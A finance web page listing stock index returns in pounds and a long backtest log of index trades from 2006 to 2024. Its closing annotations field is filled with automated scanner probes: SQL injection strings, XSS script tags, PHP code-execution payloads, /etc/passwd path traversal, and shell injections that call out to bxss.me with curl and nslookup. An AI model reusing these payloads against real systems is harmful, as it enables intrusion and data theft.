Assessment - Indices in Pound sterling - 1/07/24 - RS = mixed
⇐
⇓ freshest
⇓ 1/07/24
Δwk
1/01/24
prc diff
⇓
⇓
NZX 50
5,896.363
12/08/24
0.31
5,660.243
4.17
5,854.103
-193.860
-3.31
1.04
BEL 20
3,428.218
12/08/24
-0.47
3,307.302
3.66
3,223.053
84.249
2.61
4.60
TSX 60
772.544
12/08/24
0.21
751.090
2.86
751.164
-0.074
-0.01
2.50
ISEQ-Overall
7,957.647
12/08/24
-0.11
7,879.215
1.00
7,615.118
264.097
3.47
2.21
ASX 50
4,046.654
12/08/24
0.41
4,017.247
0.73
3,996.786
20.460
0.51
6.47
FTSE
8,210.250
12/08/24
0.52
8,166.760
0.53
7,733.240
433.520
5.61
6.12
DJIA
31,132.397
12/08/24
-0.36
30,984.080
0.48
29,591.077
1,393.002
4.71
6.94
S
IPC
2,280.756
12/08/24
-0.02
2,274.030
0.30
2,667.285
-393.255
-14.74
-9.27
BSE Sensex
755.327
12/08/24
-0.07
753.689
0.22
682.022
71.667
10.51
13.36
CAC Next 20
14,453.517
12/08/24
-0.27
14,441.129
0.09
15,794.636
-1,353.507
-8.57
-3.83
OBX Price
45.546
12/08/24
1.02
45.537
0.02
44.375
1.163
2.62
6.61
Merval
1,376.285
12/08/24
0.32
1,381.326
-0.36
903.285
478.041
52.92
9.04
PSI 20
5,562.858
12/08/24
0.09
5,594.684
-0.57
5,560.268
34.416
0.62
3.48
TecDAX
2,766.504
12/08/24
-0.27
2,790.626
-0.86
2,901.110
-110.484
-3.81
0.84
L
SMI® PR
10,394.096
12/08/24
0.07
10,548.077
-1.46
10,439.226
108.851
1.04
5.07
Athex Large Cap
2,888.684
12/08/24
1.16
2,934.001
-1.54
2,714.548
219.453
8.08
6.29
L
SLI® PR
1,679.975
12/08/24
0.02
1,708.443
-1.67
1,665.245
43.198
2.59
6.65
ATX
3,027.511
12/08/24
0.19
3,095.660
-2.20
2,985.916
109.743
3.68
8.18
CAC Mid 60
11,260.894
12/08/24
-0.08
11,514.671
-2.20
12,028.697
-514.026
-4.27
-3.65
S&P 500
4,227.550
12/08/24
4,330.937
-2.39
3,744.927
586.010
15.65
15.07
OMXH 25
3,751.264
12/08/24
0.07
3,865.341
-2.95
3,925.597
-60.256
-1.53
2.25
DAX
15,040.403
12/08/24
0.02
15,519.110
-3.08
14,561.663
957.447
6.58
8.38
L
STI
1,885.425
12/08/24
-0.81
1,945.560
-3.09
1,928.169
17.390
0.90
3.25
L
HSI
1,733.251
12/08/24
0.13
1,794.724
-3.43
1,713.254
81.469
4.76
1.32
Stoxx 50
3,685.940
12/08/24
-0.16
3,824.835
-3.63
3,558.244
266.591
7.49
7.89
⇓ freshest
⇓ 1/07/24
Δwk
1/01/24
prc diff
⇓
⇓
S&P 100
2,030.436
12/08/24
0.17
2,107.134
-3.64
1,755.695
351.439
20.02
18.75
CDAX
1,296.785
12/08/24
0.01
1,346.437
-3.69
1,271.768
74.669
5.87
7.78
IBEX 35
9,032.981
12/08/24
0.07
9,381.533
-3.72
8,781.452
600.080
6.83
9.22
L
AEX
751.447
12/08/24
0.26
783.180
-4.05
683.959
99.221
14.51
13.77
CAC 40
6,151.976
12/08/24
-0.26
6,415.392
-4.11
6,557.060
-141.668
-2.16
-0.85
L
SSE 50 ew
194.264
12/08/24
-0.09
202.754
-4.19
196.668
6.086
3.09
-1.05
MDAX
20,493.011
12/08/24
-0.40
21,419.371
-4.32
23,589.641
-2,170.270
-9.20
-5.81
DJ Global Titans
510.718
12/08/24
536.102
-4.73
431.530
104.572
24.23
21.62
OMXS30
183.066
12/08/24
0.09
192.285
-4.79
187.350
4.936
2.63
10.71
L
S&P Global 100
2,971.939
12/08/24
0.32
3,124.765
-4.89
2,565.900
558.865
21.78
19.74
Euro Stoxx 50
3,963.950
12/08/24
-0.07
4,182.949
-5.24
3,930.535
252.414
6.42
7.17
MIB 40
27,090.205
12/08/24
0.46
28,607.439
-5.30
26,383.735
2,223.703
8.43
8.95
SDAX
11,562.864
12/08/24
0.02
12,236.210
-5.50
12,135.357
100.853
0.83
4.79
NASDAQ-100
14,667.198
12/08/24
0.16
15,671.959
-6.41
13,210.483
2,461.475
18.63
19.62
OMXC 20
303.806
12/08/24
-2.06
329.462
-7.79
266.379
63.083
23.68
22.54
Kospi 50
1.404
12/08/24
1.10
1.528
-8.16
1.505
0.023
1.54
6.94
Nikkei 225
171.473
9/08/24
0.56
194.023
-11.62
185.729
8.294
4.47
4.05
Indices - 42 out of 42 instruments rated - 1/07/24 / 1/01/24 - 33 did rise, Market-Ratio(26) in GBP = 78.57 %
Drawing of market charts for mixed techniques is really a worry to me.
Transactions Indices in Pound sterling * Mixed Cut L21 - 73/65 (1) - S17 - 86/86 (1)
⇐ L/S date buy date sell days instrument spl pieces prc buy prc sell ps short prc diff d % asset yield
2/01/06 15/05/06 133 - cash -
short
15/05/06
2/10/06
140
NASDAQ-100
100
11
862.980
871.923
854.037
-8.943
-1
9,902
-3
2/10/06 9/10/06 7 - cash -
long
9/10/06
13/08/07
308
SSE 50 ew
100
127
77.716
235.315
157.599
203
29,917
272
13/08/07 27/04/09 623 - cash -
27/04/09
8/02/10
287
SSE 50 ew
100
158
189.167
213.609
24.442
13
33,778
17
8/02/10 22/03/10 42 - cash -
22/03/10
3/05/10
42
Merval
100
81
414.046
364.282
-49.764
-12
29,748
-67
3/05/10 11/10/10 161 - cash -
11/10/10
16/05/11
217
SDAX
100
7
4,000.868
4,759.139
758.271
19
35,056
34
16/05/11 16/01/12 245 - cash -
16/01/12
21/05/12
126
ISEQ-Overall
100
14
2,487.509
2,493.715
6.206
0
35,142
1
21/05/12 10/09/12 112 - cash -
10/09/12
10/06/13
273
OMXC 20
100
661
53.156
60.263
7.107
13
39,840
18
10/06/13 12/08/13 63 - cash -
12/08/13
21/07/14
343
Merval
100
92
431.132
604.202
173.070
40
55,762
43
short
21/07/14
9/02/15
203
RTX
100
55
1,011.415
767.967
1,332.037
320.622
32
73,397
64
9/02/15 23/02/15 14 - cash -
long
23/02/15
27/07/15
154
SSE 50 ew
100
297
246.808
272.802
25.993
11
81,117
27
27/07/15 28/12/15 154 - cash -
short
28/12/15
16/05/16
140
Athex Large Cap
100
61
1,323.274
1,366.085
1,280.463
-42.811
-3
78,505
-8
16/05/16 23/05/16 7 - cash -
23/05/16
30/05/16
7
MIB 40
100
5
13,423.487
13,916.097
12,930.878
-492.610
-4
76,042
-86
30/05/16 6/06/16 7 - cash -
long
6/06/16
27/06/16
21
NZX 50
100
22
3,365.724
3,554.000
188.276
6
80,184
158
27/06/16 4/07/16 7 - cash -
4/07/16
24/10/16
112
Merval
100
105
762.646
956.613
193.966
25
100,551
109
24/10/16 7/11/16 14 - cash -
7/11/16
12/02/18
462
Merval
100
105
948.834
1,093.043
144.209
15
115,693
12
12/02/18 9/07/18 147 - cash -
9/07/18
16/07/18
7
NASDAQ-100
100
21
5,489.619
5,559.646
70.027
1
117,163
94
16/07/18 30/07/18 14 - cash -
30/07/18
10/09/18
42
TecDAX
100
45
2,595.388
2,587.576
-7.813
0
116,812
-3
10/09/18 11/03/19 182 - cash -
11/03/19
5/08/19
147
Merval
100
181
644.488
741.436
96.948
15
134,359
42
5/08/19 7/10/19 63 - cash -
7/10/19
2/03/20
147
NZX 50
100
23
5,608.390
5,434.427
-173.963
-3
130,358
-8
short
2/03/20
6/07/20
126
Athex Large Cap
100
81
1,592.662
1,437.585
1,764.468
171.806
11
144,274
35
6/07/20 3/08/20 28 - cash -
long
3/08/20
2/11/20
91
Merval
100
260
554.487
467.470
-87.016
-16
121,650
-50
2/11/20 9/11/20 7 - cash -
9/11/20
29/11/21
385
Merval
100
255
476.164
589.170
113.007
24
150,467
22
29/11/21 13/12/21 14 - cash -
13/12/21
20/12/21
7
Merval
100
246
609.737
607.049
-2.688
0
149,805
-21
20/12/21 27/12/21 7 - cash -
27/12/21
10/01/22
14
Merval
100
244
613.640
596.438
-17.202
-3
145,608
-52
10/01/22 14/11/22 308 - cash -
14/11/22
19/12/22
35
Merval
100
180
806.398
799.097
-7.301
-1
144,294
-9
L/S date buy date sell days instrument spl pieces prc buy prc sell ps short prc diff d % asset yield
19/12/22 16/01/23 28 - cash -
16/01/23
12/06/23
147
Merval
100
127
1,127.994
1,237.865
109.872
10
158,248
26
12/06/23 24/07/23 42 - cash -
24/07/23
28/08/23
35
Merval
100
117
1,341.858
1,509.452
167.594
12
177,856
241
28/08/23 4/12/23 98 - cash -
4/12/23
18/12/23
14
Merval
100
96
1,847.806
2,128.314
280.508
15
204,785
3,883
18/12/23 1/01/24 14 - cash -
1/01/24
12/08/24
224
Merval
100
226
903.285
1,376.285
472.999
52
311,683
99
accum 15/05/06
12/08/24 4909
days out of 7450 invested (66%)
3,017
311,683
29
Instrument Related Contribution
instrument L/S date buy date sell days prc buy prc sell ps short prc diff d % total Merval long 22/03/10 3/05/10 42 414.05 364.28 -49.76 -12.02 long 12/08/13 21/07/14 343 431.13 604.20 173.07 40.14 long 4/07/16 24/10/16 112 762.65 956.61 193.97 25.43 long 7/11/16 12/02/18 462 948.83 1,093.04 144.21 15.20 long 11/03/19 5/08/19 147 644.49 741.44 96.95 15.04 long 3/08/20 2/11/20 91 554.49 467.47 -87.02 -15.69 long 9/11/20 29/11/21 385 476.16 589.17 113.01 23.73 long 13/12/21 20/12/21 7 609.74 607.05 -2.69 -0.44 long 27/12/21 10/01/22 14 613.64 596.44 -17.20 -2.80 long 14/11/22 19/12/22 35 806.40 799.10 -7.30 -0.91 long 16/01/23 12/06/23 147 1,127.99 1,237.87 109.87 9.74 long 24/07/23 28/08/23 35 1,341.86 1,509.45 167.59 12.49 long 4/12/23 18/12/23 14 1,847.81 2,128.31 280.51 15.18 long 1/01/24 12/08/24 224 903.29 1,376.28 473.00 52.36 344.17 SSE 50 ew long 9/10/06 13/08/07 308 77.72 235.32 157.60 202.79 long 27/04/09 8/02/10 287 189.17 213.61 24.44 12.92 long 23/02/15 27/07/15 154 246.81 272.80 25.99 10.53 277.92 RTX short 21/07/14 9/02/15 203 1,011.41 767.97 1,332.04 320.62 31.70 31.70 SDAX long 11/10/10 16/05/11 217 4,000.87 4,759.14 758.27 18.95 18.95 OMXC 20 long 10/09/12 10/06/13 273 53.16 60.26 7.11 13.37 13.37 Athex Large Cap short 28/12/15 16/05/16 140 1,323.27 1,366.08 1,280.46 -42.81 -3.24 short 2/03/20 6/07/20 126 1,592.66 1,437.59 1,764.47 171.81 10.79 7.20 NZX 50 long 6/06/16 27/06/16 21 3,365.72 3,554.00 188.28 5.59 long 7/10/19 2/03/20 147 5,608.39 5,434.43 -173.96 -3.10 2.32 ISEQ-Overall long 16/01/12 21/05/12 126 2,487.51 2,493.72 6.21 0.25 0.25 instrument L/S date buy date sell days prc buy prc sell ps short prc diff d % total NASDAQ-100 short 15/05/06 2/10/06 140 862.98 871.92 854.04 -8.94 -1.04 long 9/07/18 16/07/18 7 5,489.62 5,559.65 70.03 1.28 0.23 TecDAX long 30/07/18 10/09/18 42 2,595.39 2,587.58 -7.81 -0.30 -0.30 MIB 40 short 23/05/16 30/05/16 7 13,423.49 13,916.10 12,930.88 -492.61 -3.67 -3.67
Annotations
28/09/23 Nikkei 225 stock split 1:4 (four for one) 20/02/15 Indices Build and analyzed. 15/04/25 instrument guest bfg3424＜s1﹥s2ʺs3ʹhjl3424 print(md5(31337));// guest 555 instrument guest -1' OR 5*5=25 or 'R4TA3dgx'=' instrument guest 5559732309 instrument guest -1" OR 3*2>5 -- instrument guest '"()&%<zzz><ScRiPt >tIDx(9624)</ScRiPt> instrument guest -1" OR 3*2>999 -- instrument guest 555'"()&%<zzz><ScRiPt >tIDx(9232)</ScRiPt> instrument guest -1" OR 5*5=26 -- instrument guest <!-- bxss.me/t/xss.html?%00 guest 555 instrument guest 'A'.concat(70-3).concat(22*4).concat(110).concat(67).concat(113).concat(69)+(require'socket' instrument guest 555 instrument guest -1" OR 5*5=25 -- instrument guest '" HttP://bxss.me/t/xss.html?%00 guest 555 instrument guest 'A'.concat(70-3).concat(22*4).concat(110).concat(67).concat(113).concat(69)+(require'socket' instrument guest -1' OR 2*3*1=6 AND 857=857 -- ${@print(md5(31337))} guest 555 instrument guest 'A'.concat(70-3).concat(22*4).concat(110).concat(67).concat(113).concat(69)+(require'socket' instrument guest bxss.me/t/rfi.php?%00 instrument guest 555 instrument guest -1' OR 2*3=4 AND 857=857 -- instrument guest http://bxss.me/t/rfi.php?%00 instrument guest -1' OR 8*2-14=1 AND 857=857 -- instrument guest '+'A'.concat(70-3).concat(22*4).concat(117).concat(87).concat(99).concat(68)+(require'socket' instrument guest xfs.bxss.me instrument guest http://bxss.me/t/rfi.php?%00 instrument guest -1' OR 8*2-14=1 AND 857=857 -- instrument guest '+'A'.concat(70-3).concat(22*4).concat(117).concat(87).concat(99).concat(68)+(require'socket' instrument guest xfs.bxss.me instrument '"() 555 instrument guest bxss.me/t/xss.html?%00 instrument guest -1' OR 8*2-14=2 AND 857=857 -- instrument guest "+"A".concat(70-3).concat(22*4).concat(120).concat(76).concat(119).concat(76)+(require"socket" instrument guest xfs.bxss.me instrument '"() 555 instrument guest bxss.me/t/xss.html?%00 instrument guest "+"A".concat(70-3).concat(22*4).concat(120).concat(76).concat(119).concat(76)+(require"socket" instrument guest -1' OR 8*2-14=2 AND 857=857 -- instrument '"() 555 instrument guest HttP://bxss.me/t/xss.html?%00 instrument guest ))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) instrument guest -1' OR 8*2-14=2 AND 857=857 -- instrument guest ';print(md5(31337));$a=' instrument guest HttP://bxss.me/t/xss.html?%00 instrument guest ))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) instrument guest 555 instrument guest -1' OR 3*2>5 -- instrument guest ';print(md5(31337));$a=' instrument guest 555 instrument guest -1' OR 3*2>5 -- instrument guest ';print(md5(31337));$a=' instrument guest -1' OR 3*2>5 -- instrument guest ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7')); instrument guest ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7')); instrument guest -1' OR 3*2>999 -- instrument Http://bxss.me/t/fit.txt 555 instrument guest -1' OR 5*5=26 -- instrument Http://bxss.me/t/fit.txt 555 instrument guest -1' OR 5*5=25 -- instrument Http://bxss.me/t/fit.txt 555 instrument guest -1' OR 5*5=25 -- instrument bxss.me 555 instrument guest -1' OR 5*5=25 -- instrument guest 555"||sleep(27*1000)*kcxayq||" instrument bxss.me 555 instrument guest -1 OR 3*2>5 instrument guest gethostbyname(lc('hitqo'.'jhqcujfp89f68.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(88).chr(102).chr(90) instrument guest 555'||sleep(27*1000)*iqldbx||' instrument c:/windows/win.ini 555 instrument guest -1 OR 3*2>999 instrument guest gethostbyname(lc('hitqo'.'jhqcujfp89f68.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(88).chr(102).chr(90) instrument guest 555'||sleep(27*1000)*iqldbx||' instrument guest -1 OR 5*5=26 instrument guest ".gethostbyname(lc("hitxi"."yhverbfs092f6.bxss.me."))."A".chr(67).chr(hex("58")).chr(108).chr(84).chr(110).chr(66)." instrument guest 555"&&sleep((5*3)*1000)*dmybbp&&" instrument /etc/shells 555 instrument guest -1 OR 5*5=25 instrument guest '.gethostbyname(lc('hitue'.'uqmxufgw73c16.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(69).chr(105).chr(66).' instrument guest 555"&&sleep((5*3)*1000)*dmybbp&&" instrument guest -1 OR 3*2>5 -- instrument guest 555"&&sleep((5*3)*1000)*dmybbp&&" instrument guest -1 OR 3*2>999 -- instrument guest -1 OR 3*2>999 -- instrument guest 555"&&sleep(27*1000)*dmybbp&&" instrument guest -1 OR 3*2>999 -- instrument guest redirtest.acx instrument guest &(nslookup${IFS}-q${IFS}cname${IFS}hittznavczcwyf8ee6.bxss.me||curl${IFS}hittznavczcwyf8ee6.bxss.me)&'"`0&(nslookup${IFS}-q${IFS}cname${IFS}hittznavczcwyf8ee6.bxss.me||curl${IFS}hittznavczcwyf8ee6.bxss.me)&`' instrument guest 555'&&sleep(27*1000)*imhsrl&&' instrument guest |(nslookup${IFS}-q${IFS}cname${IFS}hitczsihaqvcv4d622.bxss.me||curl${IFS}hitczsihaqvcv4d622.bxss.me) instrument guest '"() instrument guest -1 OR 5*5=26 -- instrument ./guest 555 instrument guest ;(nslookup -q=cname hitqnvfppmeeic1788.bxss.me||curl hitqnvfppmeeic1788.bxss.me)|(nslookup -q=cname hitqnvfppmeeic1788.bxss.me||curl hitqnvfppmeeic1788.bxss.me)&(nslookup -q=cname hitqnvfppmeeic1788.bxss.me||curl hitqnvfppmeeic1788.bxss.me) instrument ^(#$!@#$)(()))****** 555 instrument guest -1 OR 5*5=25 -- instrument guest http://bxss.me/t/fit.txt?.jpg instrument ../guest 555 instrument guest `(nslookup -q=cname hitbrrgzqazkz62321.bxss.me||curl hitbrrgzqazkz62321.bxss.me)` instrument ^(#$!@#$)(()))****** 555 instrument guest Http://bxss.me/t/fit.txt instrument guest 555 instrument guest |(nslookup -q=cname hitoifkfsdeqef64a9.bxss.me||curl hitoifkfsdeqef64a9.bxss.me) instrument guest bxss.me instrument guest 555 instrument guest &(nslookup -q=cname hitmoixlarnhy574ff.bxss.me||curl hitmoixlarnhy574ff.bxss.me)&'"`0&(nslookup -q=cname hitmoixlarnhy574ff.bxss.me||curl hitmoixlarnhy574ff.bxss.me)&`' instrument guest c:/windows/win.ini instrument guest 555 instrument guest c:/windows/win.ini instrument guest &nslookup -q=cname hitkvormzdhkk626fe.bxss.me&'"`0&nslookup -q=cname hitkvormzdhkk626fe.bxss.me&`' instrument ) 555 instrument guest $(nslookup -q=cname hitileznxbvlm61811.bxss.me||curl hitileznxbvlm61811.bxss.me) instrument file:///etc/passwd 555 instrument guest ../../../../../../../../../../../../../../etc/shells instrument guest (nslookup -q=cname hitqlosrfbsbc531e5.bxss.me||curl hitqlosrfbsbc531e5.bxss.me)) ^(#$!@#$)(()))****** guest 555 instrument guest /etc/shells instrument guest expr 9000200692 - 964970 !(()&&!|*|*| guest 555 instrument guest 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg instrument guest 555|echo mwtfjt$() weshvc ) guest 555 instrument guest http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg instrument guest |echo zyqtzh$() gemgfc ../instrument guest 555 instrument guest ^(#$!@#$)(()))****** instrument guest 555&echo uxhmoq$() mptwdg instrument guest 555 instrument guest !(()&&!|*|*| instrument guest &echo dexdid$() bhzpqz instrument guest 555 instrument guest ) instrument guest echo zyrkpx$() vpagnx instrument guest&n929093=v968058 555 instrument guest ./555 instrument&n968539=v990138 guest 555 instrument guest ../555 instrument guest 555&n975753=v992017 instrument guest 555 instrument guest file:///etc/passwd instrument guest ../../../../../../../../../../../../../../windows/win.ini instrument guest ../../../../../../../../../../../../../../etc/passwd NGJpkJtG: OGM5Yc6I guest 555 instrument guest ${9999408+9999300} instrument guest 555<esi:include src="http://bxss.me/rpb.png"/> instrument guest 555 instrument guest r2gaCHIM: E2skGM50 instrument guest cztRahL8 response.write(9431349*9551248) guest 555 instrument guest "+response.write(9465400*9382812)+" instrument guest '+response.write(9465400*9382812)+' instrument guest response.write(9465400*9382812)
write an annotation
